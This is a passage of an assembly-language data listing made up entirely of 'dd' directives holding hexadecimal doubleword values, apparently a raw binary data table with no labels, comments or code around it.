dd 9EDC914Dh, 13A4393Bh, 0E0A5EF10h, 0F501B473h, 1434F4A3h
dd 44B461F7h, 844DC88h, 0CF238F00h, 79DEFC47h, 65350085h
dd 5646A062h, 0E0014E21h, 9D99C42Fh, 0C034FFF1h, 1660BA76h
dd 0A7D65B10h, 6DA8004Ch, 0A0C6AAA6h, 728500B6h, 97F57CDBh
dd 88F47952h, 0F0BA8C34h, 0A4AEB883h, 0E914142h, 0A34078FEh
dd 0F6F27882h, 487CABh, 34CD8E85h, 0BABB102Ch, 1A094D04h
dd 20C895B4h, 1218008Bh, 10640E15h, 0CB90C4Eh, 57C0059Dh
dd 3BD71E5h, 0B48F3D31h, 639A700h, 0FC8C1BBBh, 1613102Fh
dd 0E876093Ch, 747A8B64h, 0E160F000h, 0D261EC12h, 0AC4737A4h
dd 1E4CC308h, 0ED68E388h, 0C48DF00h, 0F3D9ADD1h, 0DCE43EC7h
dd 40570B18h, 8C7900Fh, 65A002D2h, 1E0392h, 0DE586E4Dh
dd 0FA118C98h, 58E56930h, 0E6379460h, 49A10045h, 44037B2Ch
dd 950043B3h, 0AB67CF18h, 63E1E9B8h, 910F31E3h, 87D0613Fh
dd 13D3B968h, 0F5F48E50h, 585501E3h, 0B1DFE7DCh, 8F82E5E9h
dd 1411E139h, 163226Ch, 6DF459F8h, 7079D7FFh, 2406C941h
dd 2BE3F14Eh, 51A46069h, 46F5EA34h, 0C09B0F88h, 0E7A5C121h
dd 63E89556h, 0F0DC753Ah, 0AE064BFEh, 64B3ED4Ah, 0BED01E49h
dd 89E51848h, 4F00F41Ah, 0BC3C5CF3h, 5FFD577h, 0C9EA4B32h
dd 5E3408E6h, 0A75380BFh, 0D4217E3h, 83EEBAh, 32884486h
dd 31A20FACh, 39D3EC30h, 616B5DD2h, 6377E9AEh, 0A31982ABh
dd 84BAFDE9h, 90589A30h, 0A179E56h, 1C0039E8h, 8672AEB0h
dd 0A7AB01F4h, 0D36E65B2h, 0C4A448B3h, 5BC82B00h, 0FECB7741h
dd 31E00059h, 0E64BBBAEh, 7A041929h, 7842B3DBh, 70F8E905h
dd 1ED1696Ch, 821D9000h, 6E2FD40h, 0FCFF7381h, 5DEA0A6Eh
dd 11C69E8h, 5A72AD7Ch, 0DCCDF133h, 1A00489Ah, 0C306BC65h
dd 1D8B4BA8h, 9FB2E337h, 44E24770h, 5F0FB31Dh, 13D67100h
dd 0D81C0E1Eh, 32C900B6h, 4BB24C94h, 0E01CE2B9h, 44FFEA44h
dd 2D0F872h, 70D15280h, 0B090E768h, 0AC00CBD5h, 1C5A3F3Dh
dd 23E731Eh, 0C0D0FEABh, 62DF6A83h, 335C9094h, 7A5C0031h
dd 0AA92746Fh, 0FEFACC0Ah, 0EF152B15h, 303068C0h, 0CAF82700h
dd 1F12CBh, 888CBADBh, 0F51BA873h, 0E15F9209h, 84241226h
dd 2B20EA74h, 18267D9h, 381177D8h, 9A04Ch, 0F8187E92h
dd 0DB302891h, 0EB747300h, 0AF0530Bh, 0DA9B0AACh, 746476h
dd 18FAD041h, 55F8D7A6h, 441981E3h, 0DB58CD67h, 200F81DCh
dd 0A77EEEC8h, 1492E001h, 4E5676C0h, 705C9180h, 735D620Dh
dd 80F17163h, 776AC172h, 574E1181h, 0E69F4AFCh, 96F517E0h
dd 0E0D34B00h, 27C0AD52h, 14D024E2h, 12F747A8h, 0DC81D340h
dd 0F2EF484Bh, 12857808h, 0D50E5562h, 0CE35C054h, 16F68203h
dd 297AE7h, 0E2B4C2E5h, 477CA32Bh, 8C99D660h, 30A2B29Eh
dd 0F1F1A50Ah, 0C706B9B5h, 0E21EE5ADh, 0E3400061h, 663BDA5h
dd 137F3BFBh, 0F8EAD800h, 73F9BFFFh, 0F66F01DFh, 69F2963Dh
dd 6D3994EDh, 14901DB3h, 44C68C07h, 7AC401FEh, 0E187725Dh
dd 2AE3D8F0h, 32E164F4h
dd 29A01324h, 24819EDh, 704600D8h, 65EEF336h, 917903FEh
dd 77567430h, 345D313Eh, 0C48C615Eh, 9B8700BBh, 77171433h
dd 9F0E6629h, 67EF491Eh, 53B728EAh, 0ACE33FA7h, 7BA100FEh
dd 290C85F8h, 0ED033483h, 6E6FEF52h, 758798BEh, 0E0F61727h
dd 7850017Eh, 56F41FDFh, 1248D884h, 68D7827Ch, 486556h
dd 48B60340h, 2500DF11h, 2D99309Bh, 175B4DDh, 0C23E3C05h
dd 85540A97h, 9DB84231h, 0F3C122C0h, 0BB4B0078h, 2A1179C4h
dd 4750E1CAh, 69D6D9CBh, 687E1503h, 77900965h, 6C195756h
dd 0BC28206Dh, 0CECFC412h, 402CB013h, 75590061h, 9DF8048Ah
dd 8E140846h, 0C0A897h, 0C140B609h, 13C3D980h, 336D76E3h
dd 6EC1BAC0h, 0B9384092h, 0FD075780h, 0DEDC18B3h, 5C55FA80h
dd 6B7711EFh, 0E8547F13h, 5A001998h, 0E19B911Bh, 0E2894E2Fh
dd 695D31DEh, 0EECCF021h, 10632441h, 0DFA66A77h, 32701249h
dd 0C8421AB8h, 8048D488h, 0BB46970h, 1B00AA7Bh, 4D95CFE6h
dd 6BFE95Ch, 68D0ABACh, 0C200D1EFh, 55B55FCBh, 3C18701Dh
dd 2A00E38Ch, 8DD0F178h, 7E0471C6h, 29B373F8h, 0E5C16497h
dd 71BB980Ah, 0BB0024BCh, 8A4A25EDh, 8D1FB353h, 0BC2D41h
dd 0F194E634h, 0C8D07C73h, 5C80ABA8h, 0AADA4C6Dh, 66FA26E9h
dd 15F640D8h, 9C098C96h, 2773EE5h, 0DFA231D5h, 0F900BEC3h
dd 70185AECh, 618E292Fh, 47F130E5h, 8821807Eh, 7F15E078h
dd 8D4F24B4h, 0E1440FACh, 889F640h, 0D4B05914h, 22BCFD22h
dd 85008D0Ah, 0F96C76D6h, 5DBEBC3h, 0E10B1956h, 739FC04Eh
dd 0C8902146h, 0C2D2A30Eh, 9439B811h, 48EB1CB8h, 0A1B4EA33h
dd 0F180EE8Ch, 0D321BEE2h, 730058BBh, 74F9EDF8h, 9111E3C2h
dd 5854280Ch, 48C45CD6h, 0AB008C5Fh, 64DDA788h, 21F138DBh
dd 0DA13D9FEh, 7FCD31E0h, 0BC444Ch, 9F37B2FAh, 64B643A2h
dd 88481880h, 0C000F52Ch, 0BE8DA3BCh, 183C42Fh, 796645FDh
dd 80487E78h, 0A5C9F061h, 4A19DDh, 930820F1h, 97B990CFh
dd 0E8981890h, 851D08A6h, 54405F07h, 6D4C2C3Ch, 84F70008h
dd 2B05DC6Ah, 466CEA98h, 902F90E0h, 0C8684CA0h, 0A3318680h
dd 0E1001F27h, 9D3336A6h, 4C806ABAh, 0DD0E4707h, 0DBE5CF9Ch
dd 0E19C04EAh, 0D844C80Ch, 0B207E417h, 94567020h, 8F5D074Dh
dd 508D959Ch, 9E53118Eh, 8625873Ah, 9657744Ch, 3FB330B9h
dd 0C2371C39h, 0B104BE0Fh, 0B4BA81D8h, 0CDE047E0h, 7DFB048Bh
dd 47ACDE97h, 0EF7B6A4h, 0EC5F2DD0h, 0AA712C5Dh, 38184990h
dd 0BD0B88BCh, 80FDCE1Ah, 84BFC9B1h, 224490B0h, 0A898EDFAh
dd 79FC1903h, 0F7B465A8h, 88E16740h, 4810B01Ah, 7B80380Fh
dd 85AF4044h, 71A84730h, 58AFCh, 0ED6A069Ah, 0D8BEF10h
dd 263AC276h, 54BA01E2h, 6A76CFF1h, 23A1836h, 59288480h
dd 8D07942h, 0E5DFE212h, 3C8024DCh, 0FA83A1DDh, 752E0B04h
dd 0A344050h, 80022700h, 5ADB9520h, 4324268Ch, 0C44B0324h
dd 0E100BB68h, 0EFA7EA70h, 484A8Dh, 0E99C2BC7h, 5DC92883h
dd 410FDDFCh, 0E1FE6912h, 1D9DAF61h, 0A720E4h, 8A824F59h
dd 57698C19h, 0A253C006h, 1B206580h, 2837E772h, 27C361C0h
dd 0A4E9B101h, 0BCF6A48h, 8C5B03F2h, 300F3100h, 98EE4A26h
dd 0B673F9h, 2EA5DB01h, 1DD4797Fh, 42C98408h, 0D3A780A0h
dd 0B18B5AC1h, 0AF3E4B0Eh, 73C361C5h, 798138EBh, 6D39493Dh
dd 0DE444041h, 96005A29h, 12E01AA5h, 11C0580Dh, 0A4FEFBh
dd 75C2C5A7h, 0C1C779h, 58135A4Bh, 0BA6AE76Dh, 0C0B90960h
dd 3B7F0EEEh, 0D91B7CD5h, 0C1E8190Ch, 5011D59h, 9F17B543h
dd 3FDC1514h, 0DA6F6010h, 6CFC73Bh, 0AC011290h, 5201451Dh
dd 818179B7h, 0DCE8E7E1h, 0BD988F25h, 0A8E039B8h, 843AAC4Ch
dd 0E549C005h, 0DE001C0Ch, 94F8A5C1h, 8DBF3152h, 8064A031h
dd 4AFA3BD9h, 7426DB7Bh, 0B4E60088h, 53EDE399h, 31C9A5BAh
dd 58F380ACh, 6223F177h, 33F0683Fh, 61037080h, 800E630Dh
dd 40F36972h, 2152E06Bh, 0E84CF1B3h, 10743AEFh, 21CC200h
dd 4AAB2718h, 0BC66973Fh, 0BF05FA67h, 78688D69h, 162680Eh
dd 0C0F85C5Ah, 5B8820F3h, 0EC80DF75h, 212090E0h, 7E1121B5h
dd 3B257600h, 46715AC0h, 7A9EF303h, 1A6BB52h, 5895D521h
dd 0F07EA3A0h, 716FD8BCh, 0D9C50318h, 3F51000Fh, 21357B1h
dd 8C7FC2D3h, 9562C000h, 61C858BDh, 69A120E0h, 0F57EA779h
dd 36ADC000h, 0E61549DDh, 0E5AB020Fh, 0EC77D2DAh, 3CA04446h
dd 0A062526Eh, 3C67D0h, 0D3ADF261h, 0ABB55C00h, 0E5A237C0h
dd 3E511F03h, 41399B72h, 4764B040h, 11F93890h, 64DCF72Ch
dd 6BB600DDh, 3B36384Dh, 1619AA51h, 4BF0E525h, 2C2F5D02h
dd 1C57C11Fh, 80F5251Ah, 0F70F7E0h, 6D19D632h, 46384C01h
dd 8C66C501h, 0C9587C79h, 425D405Ah, 91F03D40h, 5F8E008Ch
dd 0B340FEAEh, 0D2D6E500h, 7AB86D48h, 0EDC01216h, 3E5800D5h
dd 0F3F17250h, 48F084A9h, 0F8F321C0h, 0C000642Bh, 0D1B02756h
dd 3FD74DCh, 0FA5CB68Ah, 0D3CF5541h, 0C9506126h, 44843608h
dd 7E00C07Dh, 3578A29h, 48F7FA3Ah, 0B031BCC6h, 81ADAA98h
dd 0F173E888h, 3512229Ch, 15FC4420h, 450F0008h, 0B8EDD99Dh
dd 3F6283E5h, 0A23D4B8h, 0A8211B4h, 0CCB96A47h, 1785843h
dd 0D2396319h, 0D0D9234Bh, 2D900559h, 350925F8h, 824D859Bh
dd 1074BF9Ch, 52883BECh, 0FC91A3h, 212D2F27h, 0F9C6DEFBh
dd 295078h, 11543CF7h, 1D9F65Ah, 1184A84Ch, 0F0184FE9h
dd 0F40D993Eh, 85518F00h, 54E1AE1Ah, 0D8D8CA45h, 0D9181984h
dd 0D7B4203Dh, 0A9A05F18h, 0E26D1CEh, 790EC555h, 0CBB56262h
dd 6483860h, 0C3584E00h, 21239E1Ah, 6A1C44F3h, 20ACB855h
dd 0C5034998h, 0C4BAA35Ch, 5AC3A070h, 79F93FAFh, 0B0A9C203h
dd 0B1004D78h, 411A5582h, 6F44B2Bh, 66B125CDh, 0E0E240EFh
dd 0FB27D90Dh, 90A869A2h, 0D447014Ch, 61CF3648h, 0AAB32121h
dd 0FF035C21h, 9FA0E90Eh, 0EA201F75h, 7A5B0A73h, 0DA5187B0h
dd 0C0D0722Eh, 0C2013487h, 842996FBh, 75220E5Ch, 80BA4A20h
dd 0D72E008Fh, 72264337h, 0CD053087h, 3B5A08BFh, 1AC0D434h
dd 1F5956h, 0DD8CB6B4h, 53DCA4C2h, 5190BE30h, 0C03C7D47h
dd 0D988E431h, 0CB19303Ah, 0F9896CA0h, 6A14FCh, 0A3C35E8Eh
dd 8A8DF09Bh, 0ABE96700h, 0FFD07C41h, 0D36A24A4h, 272141CCh
dd 79418F60h, 71FD0558h, 8704A020h, 6C282C37h, 3EF404D4h
dd 0FE448123h, 0D02709h, 6F6038B6h, 5FDD3D0h, 9177B833h
dd 5D03C099h, 973E42BDh, 0EEB4811Dh, 79304EE3h, 0C8388890h
dd 61C5806Bh, 0B79EADF0h, 160C7001h, 0EA77AB3Bh, 611C5C22h
dd 0F1BC68B5h, 3971C310h, 2621310Ah, 8C092463h, 11780FC8h
dd 0EB105830h, 0C1D03E5Eh, 872D0020h, 0B6A9187Eh, 9A9600EFh
dd 78F3A67Fh, 61006D04h, 0C18B9BA0h, 9C0395Eh, 3899EACFh
dd 7847C882h, 230D010h, 0DCB1061Eh, 0E060D164h, 9209C0B3h
dd 1A60FE21h, 804C4518h, 90D74CBFh, 7015EC43h, 9380C517h
dd 8EA0A037h, 0FE45720Bh, 0C1800086h, 0E9F31362h, 0AB7A0159h
dd 91A9940Ah, 0C0138870h, 718AEC30h, 18E000ACh, 9643A234h
dd 37E3E6Dh, 6C45C48h, 7CB853CDh, 0AD191869h, 5178181Ah
dd 6D62E1C0h, 0E0DF71h, 0CEAC3FA6h, 3CEBA252h, 5FCA7601h
dd 88F22189h, 0B685424h, 9B5CEACEh, 1BA05483h, 983A8900h
dd 5587C6E7h, 5C390026h
dd 5EBB151Fh, 340417A9h, 745B4361h, 30B3F447h, 5DBFA3D6h
dd 679BCF00h, 0EAFB404Ch, 70B24815h, 1AC04507h, 0EE27F0AFh
dd 2D3D5471h, 79B91377h, 3DD3C004h, 7201F854h, 153FBB58h
dd 71872F0h, 2910B0DFh, 7D5F7F90h, 38847583h, 0D58FBF9Fh
dd 0F518953h, 13526847h, 64C1C024h, 0C872A2CEh, 0E972A018h
dd 0AF018560h, 27834C74h, 0C84018FEh, 803CE473h, 4400FF65h
dd 0A36F640Bh, 162FDC7h, 8AC06A07h, 8E66FA21h, 468BC549h
dd 5B8A5D7h, 5B3D1D47h, 69DC88ADh, 7AF7FB88h, 0ECA0094h
dd 35824E87h, 0DB003CD2h, 0C6B9CC6Ah, 5EAC1Fh, 0B805B5FDh
dd 4ED6E42Eh, 4498111Eh, 0CC5DC600h, 330E4059h, 9A1189B7h
dd 0CB2AC0E0h, 0C96D0B07h, 4D40E78Eh, 0CFAB323h, 67DB5B27h
dd 0B7F86E61h, 59B539CDh, 1B6410E2h, 21783507h, 20FE2F5Ch
dd 0C49C5E31h, 1F0A0E7Dh, 2BC07ED1h, 0F7351443h, 4ED36300h
dd 0D267386Eh, 0DDC9189Dh, 0B75D68DAh, 428F44h, 9BB6F66Fh
dd 0FF8CD038h, 44463B00h, 476E920Fh, 52CF030Dh, 5E580ECDh
dd 0E9C9A81Ch, 37C24977h, 0DB860FBFh, 0FB01C96Dh, 26F53603h
dd 23C02479h, 51280050h, 20804CDh, 84504C6Eh, 2F01436Ch
dd 7E68B357h, 198039CDh, 511763B9h, 0C0D042CAh, 6CDEC684h
dd 0AF281C69h, 556080C1h, 48E16B22h, 61605AB0h, 1AF56721h
dd 0F7763CB0h, 0E4E03480h, 42C0DF19h, 0D59C0400h, 6F8D5847h
dd 61BA6052h, 0F3F56361h, 0C40E70A0h, 0A0D2CB88h, 62F0C9F4h
dd 10CD9189h, 0D2DA1080h, 0E4A0C1CBh, 0B288F950h, 0F121C0B3h
dd 0C3FC2DD6h, 47CEED00h, 18FDD4F7h, 0A85E3C71h, 0CC7E7714h
dd 0F7CAD9C0h, 886C6811h, 1B52A92h, 9714852Eh, 80C9B2CFh
dd 24E39C59h, 2CABACh, 0E44D71B5h, 4679E011h, 0E1F2EA39h
dd 20D8C929h, 402CE99Ch, 843A2743h, 0C1174DFh, 0C201BEB3h
dd 0B1A2F831h, 4536F411h, 84D1F504h, 0C601543Dh, 0A27FB75Ch
dd 580044E1h, 0B685E86h, 0C46782h, 17727CE8h, 89B45DE5h
dd 41C73B7Eh, 4488586Eh, 47040C0h, 1CE9FA4h, 7AB02B28h
dd 98B4FA0Dh, 0C189B529h, 0C9E44DBh, 0D980D274h, 0B49A05C3h
dd 14984E8h, 0B3210854h, 0BB6180C2h, 0CA5CF5Bh, 3AEC88h
dd 0F52D258Eh, 4D75A414h, 711F37F4h, 9CC03DFDh, 4357B51Eh
dd 42D30005h, 0DD665547h, 757C87B7h, 1B5AE718h, 196E4659h
dd 0D1C72053h, 167D10BEh, 0BD180061h, 666B330Eh, 0B1C0DDF6h
dd 84E145D2h, 0C9880086h, 0F35F2ADCh, 1F2C7EF7h, 2B01A622h
dd 8527243Dh, 2EEE60h, 0CD7D04B9h, 546EEBF4h, 848C8C54h
dd 71526Fh, 0CFFA5174h, 2459486Eh, 2B3D439Dh, 0A1803AC5h
dd 0D3EC578Ch, 524770A0h, 2F016609h, 0D2EC045Ah, 0B0D54F47h
dd 6386A861h, 921D25ECh, 3CECCEh, 0C54F7866h, 4859D65Dh
dd 20264FE2h, 5CD8980h, 7DDF8810h, 8991B430h, 0CB021BCh
dd 346A294Bh, 78747038h, 763A801h, 694A89A4h, 516EC98Ah
dd 83479070h, 88CBF905h, 60AFA406h, 45BF19B5h, 0F200FB60h
dd 798B3784h, 89DF5h, 278A1B74h, 0D3E3CD3h, 0E8580724h
dd 0C90CBF11h, 2CF1CEECh, 788C5B56h, 7E635A00h, 681FD756h
dd 665B002Fh, 6BC2FEA7h, 577FB1ECh, 51035A73h, 0B31E7DBEh
dd 3A5900CAh, 61E0C3F6h, 0F81DED75h, 0AB4742B4h, 4D60DD6Eh
dd 1F58EEAh, 0D8963B5Ah, 8070DB59h, 0A530F8E1h, 0F008AE3Eh
dd 15E40091h, 2FDB2134h, 6C9226B3h, 8C42DF04h, 4C240C2h
dd 486259h, 63551C64h, 894F39B6h, 9CCF1915h, 300CCD13h
dd 0AF925254h, 8311BB60h, 0E5A456Fh, 9C40D704h, 0B88CD220h
dd 99C363DBh, 0D8AEFEE5h, 9416D5h, 9F14A0FBh, 4D4B6558h
dd 5452E906h, 5251C3F5h, 3000E4DBh, 0EBD9EFDDh, 0EA00365Eh
dd 0D875AD8Ah, 3189A96Ah, 0C294252h, 0BC1B8E0h, 1F074Dh
dd 1AD7168Eh, 26190018h, 0FE1C3AA0h, 4E3E51C8h, 131E0F5h
dd 9F3F8Fh, 315E6AFBh, 0EB3A8B54h, 16F46600h, 46BED268h
dd 16CD74F2h, 4B12C5h, 5A47566Ch, 912DDD64h, 37F416h, 2E0E1FACh
dd 6A0C9213h, 0D1DEAF44h, 0F5D231C9h, 2588B771h, 66D6304Ch
dd 7F8A38h, 0E63C4377h, 41AE0AFh, 29011753h, 895481DEh
dd 58A44946h, 0C4004388h, 4BFAB1BFh, 902C2745h, 6F2E12D4h
dd 0CB5034D9h, 79B800D8h, 77A0D94Bh, 8BB0E3Fh, 89A5EB67h
dd 0C54C848h, 7F39E560h, 612852Dh, 4B6360F0h, 65522892h
dd 0A3FA80BCh, 0CA9FE2h, 81D8BC41h, 0ED2C5845h, 1A5B871Fh
dd 0D1E9D38Ch, 34AE4Ah, 0CB26D070h, 1D45444Eh, 0CF7CD158h
dd 28F7002Ah, 6E60ECh, 7EB62F39h, 329138D7h, 30881526h
dd 596FDB8Ch, 0F83F7BE0h, 65D10E43h, 9A600BDCh, 12C4F8D2h
dd 6CDD0A0h, 60DBAF44h, 0A2C3962h, 5B0045A0h, 0BFF276B1h
dd 3A0EC33Fh, 75B828AFh, 0C8A41A4h, 0A4B9E10Ch, 6A000AB8h
dd 5912B460h, 19DB2D7h, 54D9CDD0h, 30718231h, 31DED570h
dd 0D476C200h, 0A62D12Ch, 0FBB60EACh, 0D70160A4h, 2A006A8Eh
dd 0BC2C8768h, 1DAAD6h, 0A0124B77h, 7D9AF423h, 0FD11320Eh
dd 0B302526Eh, 0A085B613h, 2FF069F0h, 4786006Ah, 4EC5EDE9h
dd 8511237Ah, 8015448h, 6F66A659h, 21943356h, 2F5C063Bh
dd 4429D039h, 6B80AC5Ah, 16D114EBh, 0C21C001Eh, 48D22934h
dd 0BB4C7335h, 805C5C78h, 696E0FC8h, 1D1B3C41h, 2A082500h
dd 0D38FBCDh, 8098B75Ch, 0F90B435Fh, 9CB44CC4h, 0A05CF500h
dd 0EB647C8Ch, 18B23E7Ah, 0BDF8A812h, 8C5F5C83h, 0D2815900h
dd 0A1C06EDBh, 0A491B50Ch, 1C290014h, 9A9631C1h, 0A2003E2Eh
dd 0B4D19B4Ah, 62A98AAh, 4F1CD7BBh, 0DDF208B2h, 0A8E8A400h
dd 526E9980h, 60714864h, 1726E100h, 222BB5B8h, 0D7B4980Fh
dd 0F83700FCh, 0F46596h, 0AB92FD90h, 7D181FA3h, 2FB551C3h
dd 8931061Dh, 18A637A1h, 1F0077F0h, 0CF52C951h, 184DC44Fh
dd 98AC1B8Fh, 0A180B4A4h, 31B36F31h, 0F049A38Dh, 5830B5E8h
dd 2C1F1120h, 6038A3BAh, 509071F2h, 0F083B04Bh, 28A15CA4h
dd 22286B3Bh, 0B800A99Ch, 0E1F8FF34h, 0F8A37841h, 29BE60CFh
dd 0D296E9B7h, 63A25F00h, 690B3D70h, 469100B1h, 1EC4711Ah
dd 0C36330A1h, 302DD031h, 0D93E3A81h, 293ED1BFh, 4C178042h
dd 0A3DE3B3Ch, 4F1D147Bh, 24295CE6h, 0BD158094h, 2FA114BCh
dd 252CAB50h, 9CB5188h, 912DB048h, 81228385h, 0E18FDA53h
dd 4817EDB5h, 0B745158Ch, 14D926C8h, 0D4D3549Dh, 5FAE21C4h
dd 0A1151D01h, 7195D936h, 7700C878h, 0F4C74A9Dh, 2B3EE862h
dd 90D9294Eh, 5E9D7980h, 0C2D2A6h, 0D09AF6A7h, 1C4E8B38h
dd 50F8E126h, 0B1075006h, 1E2342E9h, 17C3A014h, 768B2C20h
dd 0D3C61589h, 929D6095h, 25180079h, 563FA353h, 9620D1C3h
dd 0B9B81017h, 99AA0A18h, 0B540ECADh, 52A16522h, 0EB186C33h
dd 8D245020h, 0BDCC61C6h, 14690F21h, 0F006088h, 660A9CBCh
dd 0A0AA7400h, 988726E6h, 65A201FAh, 3999FDEAh, 8C78A858h
dd 0B991D731h, 0CF11B12Eh, 605980B2h, 0DCBE7A24h, 0A515126Ah
dd 387004A3h, 0B0992185h, 0AF441816h, 50FD1877h, 0D054C13Bh
dd 0D8A02C54h, 18293002h, 75B05B3Ah, 61754E41h, 7210D02Dh
dd 8356CB38h, 2591901Fh, 0B023A9D8h, 1ACE99ACh, 48E491Eh
dd 0AC5F1491h, 97A51148h, 4299B02h, 6C8049FDh, 3C78EEBDh
dd 0CD4A5F1Ch, 853AA643h, 0C03100AFh, 0BEC3116Ch, 1D00338Fh
dd 565142D2h
dd 3778AD35h, 0E9905485h, 46C00884h, 0B9132D0h, 44860AD9h
dd 0E38E8300h, 0F007552h, 606E3DEDh, 4C0EB093h, 0AB284B38h
dd 64B850BCh, 3CAC4C24h, 75464D2h, 0CEAA2CD4h, 4191656Fh
dd 543184A5h, 0DB4017CFh, 9690199Fh, 79B70A06h, 0D9A885h
dd 502FAD43h, 0E3DB3BBDh, 935F9C00h, 8D85C43Ah, 77B7262Ah
dd 0BB2D0C6Ch, 0F7046259h, 0D0EDB4A5h, 5E58C8h, 4559F665h
dd 0A847CBB3h, 78577600h, 0AB3D2EFDh, 631F6FCh, 0CD679CEBh
dd 0DC86504Dh, 17212443h, 20783100h, 2FD65B8h, 5875A188h
dd 7DC0A367h, 0CF2AB726h, 4488889Bh, 0A600E0ABh, 38BB3C19h
dd 35B9F207h, 8336CF81h, 0DCB055E6h, 180203E6h, 0E7F5DEBFh
dd 0B1906056h, 29E8C9B0h, 40FCA016h, 58AD951Ch, 0ED5CE783h
dd 7D9E88AFh, 0FB8E0039h, 0A259F388h, 57E632E1h, 347BD024h
dd 802D158Ah, 20B75832h, 0ADEF242Bh, 568F3899h, 805200CCh
dd 1E693FAh, 61EC5184h, 0FC2DEAD1h, 0DE021127h, 2B1FAF45h
dd 0CF9C4926h, 5700A822h, 44101B37h, 46089B3Fh, 2B08477h
dd 502ED61Ch, 8EE28768h, 897C4F31h, 6FCEBCDh, 4AAF15B2h
dd 1A0028BDh, 8F09E8DBh, 57009A0Eh, 2095E726h, 39A1E984h
dd 1735154h, 0B72407A6h, 60287CB9h, 0D089B66Ch, 754F22E2h
dd 5F7B7EC0h, 0B8D958h, 3402CA4Eh, 0AB81152h, 0B2EDA9ECh
dd 9DE4A1C0h, 971EC0D1h, 489DD366h, 468B2A01h, 0CE3E4361h
dd 11C25440h, 0C78D2882h, 0C4390392h, 0B035A119h, 52712148h
dd 0B89F30F8h, 373AA3h, 3EB80FEFh, 5FCBED77h, 0B3F40B16h
dd 58850405h, 904FD449h, 713A80Ch, 0E4BC018Fh, 811FD52Ch
dd 8922234h, 0B92660CFh, 36F2174Ah, 0C8907950h, 6A34F602h
dd 0C192D31Eh, 29812B97h, 8E68CF01h, 0BE1D063h, 0A9D92900h
dd 54E785FAh, 6C890357h, 53ACBFA2h, 0C6D7BEA0h, 0D5722607h
dd 0D6A1C56Bh, 31F02B6Ch, 5EAC02F5h, 70340C35h, 9469C057h
dd 10384C6Dh, 0A26B0F7Bh, 0A6693A47h, 0C4DED301h, 2984604Fh
dd 8138676Fh, 25723DBEh, 77707DCh, 114CE1C5h, 0F57921C6h
dd 0E36180ADh, 839D5403h, 0BE40674h, 593247C5h, 15ADD807h
dd 0F3B024EBh, 817EBAh, 0F9E16A8h, 1C18302Ch, 0BABEA03Ah
dd 0A7516397h, 0F98178E1h, 19801321h, 8ED6BFC6h, 340C6EB7h
dd 299B211Bh, 14AD3A6Dh, 0C0036C40h, 0EFD6711Dh, 0A76B98D4h
dd 513363E8h, 0A022FF86h, 32C60030h, 3EA1C34Ah, 75F2EC53h
dd 28656D00h, 0ACC5079Dh, 0BFC402D6h, 63241AF6h, 0E4E38C93h
dd 45E89E0h, 36018198h, 40173A0Dh, 4EEC370Bh, 0CD91C020h
dd 0FA87014h, 5C61F600h, 21C0C62Fh, 11EE6EDh, 60F98D4Ch
dd 51FD03C2h, 40903030h, 0D6562B7Ch, 480AFE0Ch, 787B925h
dd 0F7B45A1h, 0DE7E91D8h, 4977E004h, 808BBC00h, 5E3B8C4Eh
dd 2C1B1140h, 0B36D0A67h, 0C540940Eh, 0C0154EBFh, 0CB6A8F11h
dd 0F500052Eh, 0C64678ABh, 3AF2B6BEh, 89302D72h, 4D6C6E30h
dd 8516D60h, 7B3601A5h, 81AC0F2Bh, 9DE748Eh, 401AA277h
dd 0AFD39D80h, 5601A798h, 73C00594h, 0EADCA61Ch, 7720281Ah
dd 66E7147Ch, 0A200304Eh, 3F0139D8h, 0A100CE98h, 574CD95Dh
dd 0D69EDB6h, 1BB86DC5h, 71B6B0C1h, 2F3A66h, 6122D812h
dd 0AC4ACC41h, 0E239F803h, 223D0879h, 8C0711F8h, 2030D6F1h
dd 795FA6h, 0BBF6B6B8h, 3A122733h, 0C6AC5806h, 1210F037h
dd 141BF3Eh, 0C778DF34h, 0ECD6D518h, 3A44486Dh, 0C51F0229h
dd 778F45BEh, 0D2906440h, 7316140h, 370538EAh, 0FC6C60D4h
dd 0D30C68BDh, 412C468Dh, 1CBF03ABh, 16182BEDh, 0F0035CE0h
dd 0AD6BD0Ah, 171892B1h, 0C995C1h, 7E03A2F9h, 47E20F24h
dd 22A8CB48h, 6A4D2296h, 58B61618h, 7CE3AAAh, 9506BA8Bh
dd 6AC85D6h, 399FF528h, 17D5F00h, 4E94E09Dh, 0AB21C718h
dd 20638052h, 6F03C491h, 9F9EF1BDh, 0A1E1C6F4h, 0D5102FB8h
dd 0ACA4251Ah, 9658DF00h, 6D1F0B76h, 301E14ABh, 3D285491h
dd 4D08188Ch, 0B96D3181h, 5790D60h, 14292623h, 106B251Bh
dd 7C12AC11h, 47342050h, 0C40AF624h, 0E1953D00h, 190B415Ah
dd 83E6AB1h, 942C3066h, 46E92484h, 1FE06F58h, 2A797141h
dd 1D62D700h, 3D4340C0h, 0A0934947h, 403C4E24h, 1933F5D1h
dd 2CCFDB00h, 0FDBD8A96h, 17B1ED7h, 0A6CC4211h, 88A71CE2h
dd 9A395C4Eh, 9719A200h, 0D2079C6Fh, 4B0C3CC6h, 0C87BEA00h
dd 6079F55Ch, 423E90CFh, 88C607FAh, 8D007888h, 1363375Bh
dd 0ACC41CAEh, 0A96DDDDFh, 9EF50CD4h, 50B8A0D1h, 21561C02h
dd 609F4578h, 88A41904h, 2C90592Bh, 8F309480h, 18CAA52h
dd 0D9D3C118h, 3BD87F61h, 6CE10551h, 239DE23h, 0BFDE2F4h
dd 30C26C98h, 24E3A507h, 0A818A99h, 0DD60FC1Eh, 2442E679h
dd 548B78Fh, 2278221Bh, 90A02DD8h, 0FF2188FAh, 39B9E002h
dd 90544E3Ah, 886025F0h, 0B407D5Ah, 21F56F40h, 757A3680h
dd 8507228Dh, 6C6B2345h, 0F8B0B950h, 30C458BBh, 4036DFC4h
dd 0BF0AFF3Dh, 950300B6h, 0C0624476h, 6D0D66E9h, 683F414Dh
dd 0CBFEC4Ch, 4726D6B5h, 2F96EC8h, 132511C9h, 0DAC5D080h
dd 92CE00DBh, 0B204E344h, 6901E0EEh, 8BB430C3h, 80216496h
dd 0EDA722F2h, 4D4A4C80h, 0F800EA3Ah, 80C4C60Fh, 60481608h
dd 0EC072123h, 18079BA7h, 0D2DE1BF4h, 1FB419C0h, 32FC016Eh
dd 0E9C4CC17h, 56C6D4E0h, 98D5B513h, 0A5D77C04h, 0DC09C10h
dd 1D69EABCh, 0E0F4E200h, 17E930B0h, 0D73C07FCh, 9662DF96h
dd 60923993h, 704759DFh, 2A04AF8Bh, 6ACCA08Dh, 0CBCD0067h
